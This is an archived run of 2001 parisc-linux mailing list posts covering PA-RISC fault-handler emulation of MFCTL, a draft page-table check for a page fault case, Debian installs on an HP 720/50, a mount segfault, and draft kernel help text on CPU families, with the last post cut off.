Date: Mon, 1 Oct 2001 11:06:07 -0500
X-MSMail-Priority: Normal
X-Priority: 3
X-Mailer: KMail [version 1.2]
MIME-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
Cc: <parisc-linux@lists.parisc-linux.org>
Message-Id: <01100111060700.00856@Wolf-01>



John;

Thanks a lot for the explanation - I am not surprised that the hardware
is more complex in its operation than the documentation tries to describe.
I have left the full text of your explanation attached so that future
readers of the mailing list archives don't get "half the story".

The ability to NOT EXECUTE the instruction returned to from a fault handler
might come in handy to somebody, someday.

What I was concerned about was the chance that the instruction addressed
by iaoq[1] was a branch (or taken conditional branch) instruction.  

Which, as you point out, could only happen if the MFCTL instruction was 
in the delay slot of a branch instruction.  (Has the compiler been told to
prohibit MFCTL in the delay slot? Not relavent here.)

With the description given in the documentation, then the queue state 
returned would have to be:

regs->iaoq[0] == branch instruction address
regs->iaoq[1] == target instruction address

I.E: That the hardware instruction address prediction was done prior to the
point in the hardware the address queue snapshot is taken on a fault.

The point you make describes instruction address prediction being done
after the point in the hardware flow that the address queue snapshot is
taken.

I.E:
regs->iaoq[0] == branch instruction address
regs->iaoq[1] == branch instruction address + 4

Is a just fine thing to do - the branch instruction will be executed with
the result that whatever was pointed to by iaoq[1] would be replaced by the 
target address (or ignored) in the process.

Certainly a complexity beyond printed documentation.
Anywho - its in the mail archives now for anyone that needs the
information.

Again, Thanks for the extra effort on these details.
Mike

> Date: Sunday, September 30, 2001 2:12 AM
> 
> > It looks (reads) as if it possible to return to the faulting instruction
> > (MFCTL in this case) without executing it.  If so, then adjusting the
> > instruction (and space) queues within the fault handler can be avoided;
> > also avoiding problems with finding the correct "following instruction"
> > address.
> 
> Using the nullify method you talk about does work, but the normal
> convention is to advance the pc queue (there are some performance
> advantages, particularly in the case where the instruction we are
> emulating is in the delay slot of a branch).  The problem you describe
> finding the following instruction doesn't exist.  You are correct about
> the space queue though, but only in the case for a delay slot in the
> branch to the gateway page.  The correct method of advancing the queue is
> the one that has been proposed in the various patches, i.e.:
> 
> 	regs->iaoq[0] = regs->iaoq[1];
> 	regs->iaoq[1] += 4;
> 
> To be perfectly correct, this should be added:
> 
> 	regs->iasq[0] = regs->iasq[1];
> 
> But, again, that last is only necessary if someone actually puts a mfctl
> in the delay slot of the branch to the gateway page (a kernel call) and
> since kernel calls are already provided, we know that no such thing
> actually happens, nor is it likely to happen unless someone handcodes
> their own kernel call. I would put the line in though.
> 
> Here is why there is not a problem advancing the queue as above:
> the only way that "regs->iaoq[1] += 4" would do the wrong thing would
> be if we were emulating a branch instruction. Since we know we are
> emulating a mfctl instruction, this is not the case. Note that if
> someone needs to emulate a branch instruction, computing the new
> value of iaoq[1] would be part of that emulation.
> 
> John Marvin
> jsm@fc.hp.com
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux





From - Thu Nov 08 21:19:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The 720/50 saga continues...
Date: Wed, 26 Sep 2001 22:34:31 +0200 (CEST)
Lines: 52
Approved: news@gmane.org
Message-ID: <Pine.NEB.4.33.0109262154470.16939-100000@www2.scram.de>
References: <200109261721.NAA01262@mail.lokmail.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620553 26838 80.91.229.3 (22 Nov 2014 01:42:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:33 +0000 (UTC)
To: Jurij Smakov <jurij@lokmail.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 26 14:36:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5F4A24841
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Sep 2001 14:36:04 -0600 (MDT)
Original-Received: from www2.scram.de (www2.scram.de [195.226.127.84])
	by mail.scram.de (8.11.0/8.11.0) with ESMTP id f8QKa2i17009
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Sep 2001 22:36:02 +0200 (CEST)
In-Reply-To: <200109261721.NAA01262@mail.lokmail.net>
ReSent-Date: Wed, 26 Sep 2001 22:35:58 +0200 (CEST)
Resent-From: Jochen Friedrich <jochen@scram.de>
Resent-To: <parisc-linux@lists.parisc-linux.org>
ReSent-Subject: Re: [parisc-linux] The 720/50 saga continues... 
ReSent-Message-ID: <Pine.NEB.4.33.0109262235580.16939@www2.scram.de>
Xref: news.gmane.org gmane.linux.ports.parisc:12415

Hi Jurij,

> down_read(&mm->mmap_sem);
> vma = find_vma_prev(mm, address, &prev_vma);
>

I was roughly thinking about something like this (completely untested!!!):

case 18:
if (in_interrupt() || !mm)
        goto pagefault; /* shouldn't happen */

/* FIXME: do propper locking here */

pgd = pgd_offset(mm, address);        /* page directory */
if (pgd_none(pgd) || pgd_bad(pgd))
        goto pagefault; /* expandable stack etc */

pmd = pmd_offset(pgd, address);       /* middle page directory */
if (pmd_none(pmd) || pmd_bad((pmd))
        goto pagefault; /* expandable stack etc */

pte = pte_offset(pmd, address);       /* page table entry */
if (pte_none(pte))
        goto pagefault; /* expandable stack etc */

if (!pte_present(pte))  /* is this test sufficient? */
        goto pagefault; /* page not loaded */

acc_type = parisc_acctyp(code,regs->iir);

if ((acc_type & VM_WRITE) && (!(pte_write(pte))))
	goto pagefault; /* Write protected access */

if ((acc_type & VM_READ) && (!(pte_read(pte))))
	goto pagefault; /* Read protected access */

if ((acc_type & VM_EXEC) && (!(pte_exec(pte))))
	goto pagefault; /* Exec protected access */

/* fall through to case 28 */

Does this make sense?

Cheers,
Jochen







From - Thu Nov 08 21:19:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jurij Smakov <jurij@lokmail.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] woody install on 720/50
Date: Tue, 02 Oct 2001 04:06:44 -0400
Lines: 51
Approved: news@gmane.org
Message-ID: <200110020806.EAA30339@mail.lokmail.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416620553 26839 80.91.229.3 (22 Nov 2014 01:42:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:33 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  2 02:07:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.lokmail.net (MAIL.LOKMAIL.NET [209.48.2.38])
	by dsl2.external.hp.com (Postfix) with ESMTP id 02296482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  2 Oct 2001 02:07:04 -0600 (MDT)
Original-Received: from mail.lokmail.net (localhost [127.0.0.1])
	by mail.lokmail.net (8.9.3/8.9.3) with ESMTP id EAA30339
	for <parisc-linux@lists.parisc-linux.org>; Tue, 2 Oct 2001 04:06:44 -0400
Content-ID: <30334.1002010004.1@mail.lokmail.net>
Original-Sender: jurij@mail.lokmail.net
Xref: news.gmane.org gmane.linux.ports.parisc:12416

> After applying Jurij's latest patch, and creating a new Debian bootdisk
> lifimage with it, I booted it up and tried the Debian install again.
> 
> I tried a CD-ROM install first, but the installer refused to mount my
> CD-ROM for some reason, even though it was detected as a possible device
> to boot from.
> 
> Next I tried a network install using my i386 box (with co-ax network
> card to connect to the 720) as a web server. According to the
> access.log, the drivers.tgz and rescue.bin very retrieved without
> problems. When it tried to extract the rescue.bin, it croaked with a 
> message saying "Bad address." When I tried to retrieve the images a
> second time, the installer croaked.
> 
> The box still responds to pings, but not much else.
> 
> Any ideas on the "Bad address" problem?
> 
> Regards,
> 
> Albert

Hi!

Would You consider first installing with some kernel, that works for sure
and then trying the one with the proposed patch? Otherwise, there are
too many unknowns in the equation :-). I know, the patched kernel compiles,
but since I don't have access to a 720 machine, I could not test it.

Cheers,

Jurij.










---------------------------------------------------------
Get Free Private Encrypted Email https://mail.lokmail.net
        Switch to Name.Space: http://namespace.org/switch







From - Thu Nov 08 21:19:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jurij Smakov <jurij@lokmail.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Mount segfaults and stuff
Date: Tue, 02 Oct 2001 04:13:23 -0400
Lines: 28
Approved: news@gmane.org
Message-ID: <200110020813.EAA31275@mail.lokmail.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416620553 26842 80.91.229.3 (22 Nov 2014 01:42:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:33 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  2 02:13:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.lokmail.net (MAIL.LOKMAIL.NET [209.48.2.38])
	by dsl2.external.hp.com (Postfix) with ESMTP id A661F482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  2 Oct 2001 02:13:28 -0600 (MDT)
Original-Received: from mail.lokmail.net (localhost [127.0.0.1])
	by mail.lokmail.net (8.9.3/8.9.3) with ESMTP id EAA31275
	for <parisc-linux@lists.parisc-linux.org>; Tue, 2 Oct 2001 04:13:23 -0400
Content-ID: <31270.1002010403.1@mail.lokmail.net>
Original-Sender: jurij@mail.lokmail.net
Xref: news.gmane.org gmane.linux.ports.parisc:12417

Hi!

I get segfaults from "mount", when I try to mount a non-existent
device, like

># mount /dev/fd0 /floppy
Segmentation fault

The failure is reported to be in strncmp in glibc, but it looks
like it is just trying to dereference a null pointer, passed
from somewhere else (trap 15 with zero IOR). If someone is 
experiencing similar behaviour, I can look further into it.

Also, I've tried looking at todo list to find something to work on...
It seems rather outdated and some tasks in it seem to be already
completed (like unaligned trap handler, etc.). So, where should
I direct my efforts? What is the part of parisc-linux project, which
needs immediate attention? ;-).

Cheers,

Jurij.







From - Thu Nov 08 21:19:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jurij Smakov <jurij@lokmail.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Second Draft of the help for the kernel options
Date: Tue, 02 Oct 2001 04:44:26 -0400
Lines: 42
Approved: news@gmane.org
Message-ID: <200110020844.EAA01791@mail.lokmail.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416620554 26845 80.91.229.3 (22 Nov 2014 01:42:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:34 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  2 02:44:33 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.lokmail.net (MAIL.LOKMAIL.NET [209.48.2.38])
	by dsl2.external.hp.com (Postfix) with ESMTP id EFDBA482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  2 Oct 2001 02:44:31 -0600 (MDT)
Original-Received: from mail.lokmail.net (localhost [127.0.0.1])
	by mail.lokmail.net (8.9.3/8.9.3) with ESMTP id EAA01791
	for <parisc-linux@lists.parisc-linux.org>; Tue, 2 Oct 2001 04:44:26 -0400
Content-ID: <1786.1002012266.1@mail.lokmail.net>
Original-Sender: jurij@mail.lokmail.net
Xref: news.gmane.org gmane.linux.ports.parisc:12418

[skipped]
> Processor family
> CONFIG_PA7100
>   In this section, you will find enough informations to set correctly 
>   your CPU type option. Nevertheless, if you need more, you can see 
>   all the hardware content of your box at http://hwdb.parisc-linux.org.
>   
>   If you select the PA7000/PA7100 option, your box must be one of these 
>   listed below: 705/35, 710/50, 715/33, 715/50, 715/75, 720/50, 725/50, 
>   725/75, 730/66, 735/99, 735/125, 750/66, 755/99.
> 
>   If you select the PA7200 option, your box must be one of these listed 
>   below: C100, C110, D250, D350, D260, D360, J200, J210, K100, K200, 
>   K210, K220, K400, K410, K420.
> 
>   If you choose the PA7100LC/PA7300LC option then your box is 715/64, 
>   715/80, 715/100, 725/100, A180, B132L(+), B160L(+), B180L(+), C160L, 
>   C180L, D200, D210, D220, D230, D300, D310, D320 or D330. There are 
>   also some systems from the E series but there are not yet supported.
> 
>   Finally, PA8x00 is the good choice for all new stuff like A500, B1000,
>   B2000, B2600, C200+, C240+, C3000, C3600, J282, J2240, J5000, J6000, 
>   J6700, J7000, K250, K260, K270, K370, K450, K460, K470, K570, L1000, 
>   L2000, L3000, N4000, V2200, V2250, V2500.
> 
>   Now, you should be sure of which CPU type. If not, please send a mail 
>   to parisc-linux@lists.parisc-linux.org.
[skipped]

Hi!

Minor note: 712 models are not mentioned anywhere.

Best regards,

Jurij.







From - Thu Nov 08 21:19:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Mount segfaults and stuff
Date: Tue, 02 Oct 2001 11:09:59 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <3BB98467.C112B287@esiee.fr>
References: <200110020813.EAA31275@mail.lokmail.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620554 26851 80.91.229.3 (22 Nov 2014 01:42:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jurij Smakov <jurij@lokmail.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  2 03:12:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id A5283482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  2 Oct 2001 03:12:13 -0600 (MDT)
Original-Received: from esiee.fr (pc211j.esiee.fr [147.215.80.169])
	by mail.esiee.fr (Postfix) with ESMTP
	id C72E0D15AA; Tue,  2 Oct 2001 11:12:08 +0200 (CEST)
Original-Sender: marteaut@esiee.fr
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.19 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:12419

Jurij Smakov wrote:
> 
> Hi!
> 
> I get segfaults from "mount", when I try to mount a non-existent
> device, like
> 
> ># mount /dev/fd0 /floppy
> Segmentation fault

On my B132L, I have the same behaviour.
> 
> Also, I've tried looking at todo list to find something to work on...
> It seems rather outdated and some tasks in it seem to be already
> completed (like unaligned trap handler, etc.). So, where should
> I direct my efforts? What is the part of parisc-linux project, which
> needs immediate attention? ;-).
> 
I do not know what the developers want but I can say that driver
improvement could be good.
Anyway, if you want to find something to do, the best place to dig is
http://bugs.parisc-linux.org/ :)

Regards, Thomas.
ESIEE Team




From - Thu Nov 08 21:19:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Allen <ra@hp.is>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Second Draft of the help for the kernel options
Date: Tue, 2 Oct 2001 09:38:52 +0000
Lines: 44
Approved: news@gmane.org
Message-ID: <20011002093852.A16555@hp.is>
References: <200110020844.EAA01791@mail.lokmail.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620554 26852 80.91.229.3 (22 Nov 2014 01:42:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:34 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  2 03:38:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from xo.hp.is (xo.hp.is [194.105.242.199])
	by dsl2.external.hp.com (Postfix) with ESMTP id E1333482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  2 Oct 2001 03:38:53 -0600 (MDT)
Original-Received: (from ra@localhost)
	by xo.hp.is (8.11.6/RA-8.11.6) id f929cqb16559
	for parisc-linux@lists.parisc-linux.org; Tue, 2 Oct 2001 09:38:52 GMT
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200110020844.EAA01791@mail.lokmail.net>; from jurij@lokmail.net on Tue, Oct 02, 2001 at 04:44:26AM -0400
X-Subliminal-Message: Microsoft sucks! Update your system to Linux today!
Xref: news.gmane.org gmane.linux.ports.parisc:12420

On Tue, Oct 02, 2001 at 04:44:26AM -0400, Jurij Smakov wrote:
> [skipped]
> > Processor family
> > CONFIG_PA7100
> >   In this section, you will find enough informations to set correctly 
> >   your CPU type option. Nevertheless, if you need more, you can see 
> >   all the hardware content of your box at http://hwdb.parisc-linux.org.
> >   
> >   If you select the PA7000/PA7100 option, your box must be one of these 
> >   listed below: 705/35, 710/50, 715/33, 715/50, 715/75, 720/50, 725/50, 
> >   725/75, 730/66, 735/99, 735/125, 750/66, 755/99.
> > 
> >   If you select the PA7200 option, your box must be one of these listed 
> >   below: C100, C110, D250, D350, D260, D360, J200, J210, K100, K200, 
> >   K210, K220, K400, K410, K420.
> > 
> >   If you choose the PA7100LC/PA7300LC option then your box is 715/64, 
> >   715/80, 715/100, 725/100, A180, B132L(+), B160L(+), B180L(+), C160L, 
> >   C180L, D200, D210, D220, D230, D300, D310, D320 or D330. There are 
> >   also some systems from the E series but there are not yet supported.
> > 
> >   Finally, PA8x00 is the good choice for all new stuff like A500, B1000,
> >   B2000, B2600, C200+, C240+, C3000, C3600, J282, J2240, J5000, J6000, 
> >   J6700, J7000, K250, K260, K270, K370, K450, K460, K470, K570, L1000, 
> >   L2000, L3000, N4000, V2200, V2250, V2500.
> > 
> >   Now, you should be sure of which CPU type. If not, please send a mail 
> >   to parisc-linux@lists.parisc-linux.org.
> [skipped]
> 
> Hi!
> 
> Minor note: 712 models are not mentioned anywhere.

Neither is the C360

-- 
Rikki.         --  HP Technical Support, RHCE, RHCX, HP-UX Certified Admin.
               --  Solaris 7 Certified Systems and Network Administrator.
Bell Labs Unix --  Reach out and grep someone.
Those who do not understand Unix are condemned to reinvent it, poorly.




From - Thu Nov 08 21:19:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] woody install on 720/50
Date: Tue, 2 Oct 2001 12:04:27 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <20011002120427.B32341@dogbert.localdomain>
References: <200110020806.EAA30339@mail.lokmail.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="PmA2V3Z32TCmWXqI"
X-Trace: ger.gmane.org 1416620555 26857 80.91.229.3 (22 Nov 2014 01:42:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jurij Smakov <jurij@lokmail.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  2 04:06:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 99257482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  2 Oct 2001 04:06:31 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #1)
	id 15oMRR-0006xP-00
	for parisc-linux@lists.parisc-linux.org; Tue, 02 Oct 2001 12:06:21 +0200
Original-Received: (qmail 25791 invoked from network); 2 Oct 2001 10:06:22 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 2 Oct 2001 10:06:22 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15oMPb-0008Po-00; Tue, 02 Oct 2001 12:04:27 +0200
Content-Disposition: inline
In-Reply-To: <200110020806.EAA30339@mail.lokmail.net>
User-Agent: Mutt/1.3.20i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15oMRR-0006xP-00*xwbA/TCOHxc* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:12421

--PmA2V3Z32TCmWXqI
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hello,

On Tue, 02 Oct 2001, Jurij Smakov wrote:

> Would You consider first installing with some kernel, that works for sure
> and then trying the one with the proposed patch? Otherwise, there are
> too many unknowns in the equation :-). I know, the patched kernel compiles,
> but since I don't have access to a 720 machine, I could not test it.

The main reason I ever came to this list is because the default kernels
can't run the installer! :-) I suspect my problems were caused by a
corrupt rescue.bin, so I will try again soon with a fresh (md5sum
verified copy).

If that doesn't work, I'll boot up a fresh nfsroot again and play around
with that.

Cheerio,

Albert

--PmA2V3Z32TCmWXqI
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE7uZErDg+hOeRZtkMRAqLoAJ9LYnSaAXZrj7tIiX77jMF4MUlbtQCdH++S
rjh67wFor1JKc327vWOUZ2E=
=sg+K
-----END PGP SIGNATURE-----

--PmA2V3Z32TCmWXqI--




From - Thu Nov 08 21:19:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jurriaan Kalkman" <Jurriaan.Kalkman@zrt.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Second Draft of the help for the kernel
	options
Date: Tue, 02 Oct 2001 08:12:42 +0200
Lines: 68
Approved: news@gmane.org
Message-ID: <sbb97922.053@ms-zrt1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620555 26859 80.91.229.3 (22 Nov 2014 01:42:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:35 +0000 (UTC)
To: <marteaut@esiee.fr>, <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  2 06:06:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from onet2.cup.hp.com (unknown [15.255.208.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5F5B5485A
	for <parisc-linux@parisc-linux.org>; Tue,  2 Oct 2001 06:06:51 -0600 (MDT)
Original-Received: from ns.zrt.nl (ns.zrt.nl [212.153.94.193])
	by onet2.cup.hp.com (Postfix) with ESMTP id 45E9418C8B
	for <parisc-linux@parisc-linux.org>; Tue,  2 Oct 2001 05:06:42 -0700 (PDT)
Original-Received: (from fwmaster@localhost) by ns.zrt.nl (8.9.1a/8.6.12) id IAA03496 for <parisc-linux@parisc-linux.org>; Tue, 2 Oct 2001 08:26:56 +0200 (MET DST)
Original-Received: by zrt01.zrt.nl via smap (V1.3)
	id sma003307; Tue, 2 Oct 01 08:24:14 +0200
Original-Received: from Rivierenland-Message_Server by ms-zrt1
	with Novell_GroupWise; Tue, 02 Oct 2001 08:21:54 +0200
X-Mailer: Novell GroupWise 5.5.2
Content-Disposition: inline
Xref: news.gmane.org gmane.linux.ports.parisc:12422

>Hi all,
>
>	Once again, I ask you to verify what I wrote and only God knows =
how
>important it is to re-read this file b/c it is useful and I made it so
>many mistakes for sure :)
>
>	I added the comments of the first draft (Thanks to Grant) and CPU =
type
>help too. I do not really like the lists. If you have any better idea,
>please let me know.
>
>Thanks, Thomas.
>ESIEE Team
>
>PS: I would like to know if I can put the PA-RISC/Linux Boot HOWTO into
>stable state??
>
>Text to add in Documentation/ Configure.help
>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
>
>
>Processor family
>CONFIG_PA7100
>  In this section, you will find enough informations to set correctly=20
>  your CPU type option. Nevertheless, if you need more, you can see=20
>  all the hardware content of your box at http://hwdb.parisc-linux.org.
> =20
>  If you select the PA7000/PA7100 option, your box must be one of =
these=20
>  listed below: 705/35, 710/50, 715/33, 715/50, 715/75, 720/50, 725/50,=20=

>  725/75, 730/66, 735/99, 735/125, 750/66, 755/99.
>
>  If you select the PA7200 option, your box must be one of these =
listed=20
>  below: C100, C110, D250, D350, D260, D360, J200, J210, K100, K200,=20
>  K210, K220, K400, K410, K420.
>
>  If you choose the PA7100LC/PA7300LC option then your box is 715/64,=20
>  715/80, 715/100, 725/100, A180, B132L(+), B160L(+), B180L(+), C160L,=20
>  C180L, D200, D210, D220, D230, D300, D310, D320 or D330. There are=20
>  also some systems from the E series but there are not yet supported.
>
>  Finally, PA8x00 is the good choice for all new stuff like A500, B1000,
>  B2000, B2600, C200+, C240+, C3000, C3600, J282, J2240, J5000, J6000,=20
>  J6700, J7000, K250, K260, K270, K370, K450, K460, K470, K570, L1000,=20
>  L2000, L3000, N4000, V2200, V2250, V2500.
>
Since at least two C200+ machines get Trace/Breakpoint trap errors when
compiling for PA8x00, I'd suggest a rephrasing or an addition like:

- for a generic kernel, select PA7x00
- if you select PA7000/PA7100, your box must be .... or newer.
- if you're not sure, select PA7x00

etc. 'Must' sounds very sure.

Good luck,
Jurriaan






From - Thu Nov 08 21:19:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] woody install on 720/50
Date: Tue, 2 Oct 2001 14:37:02 +0200 (CEST)
Lines: 20
Approved: news@gmane.org
Message-ID: <Pine.NEB.4.33.0110021434430.24166-100000@www2.scram.de>
References: <20011001175425.A31305@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620555 26862 80.91.229.3 (22 Nov 2014 01:42:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:35 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: Albert Strasheim <fullung@ilink.nis.za>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  2 06:37:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 44FB7485A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  2 Oct 2001 06:37:43 -0600 (MDT)
Original-Received: from www2.scram.de (www2.scram.de [195.226.127.84])
	by mail.scram.de (8.11.0/8.11.0) with ESMTP id f92Cb2O01885;
	Tue, 2 Oct 2001 14:37:02 +0200 (CEST)
In-Reply-To: <20011001175425.A31305@dogbert.localdomain>
Xref: news.gmane.org gmane.linux.ports.parisc:12423

Hi Albert,

> Next I tried a network install using my i386 box (with co-ax network
> card to connect to the 720) as a web server. According to the
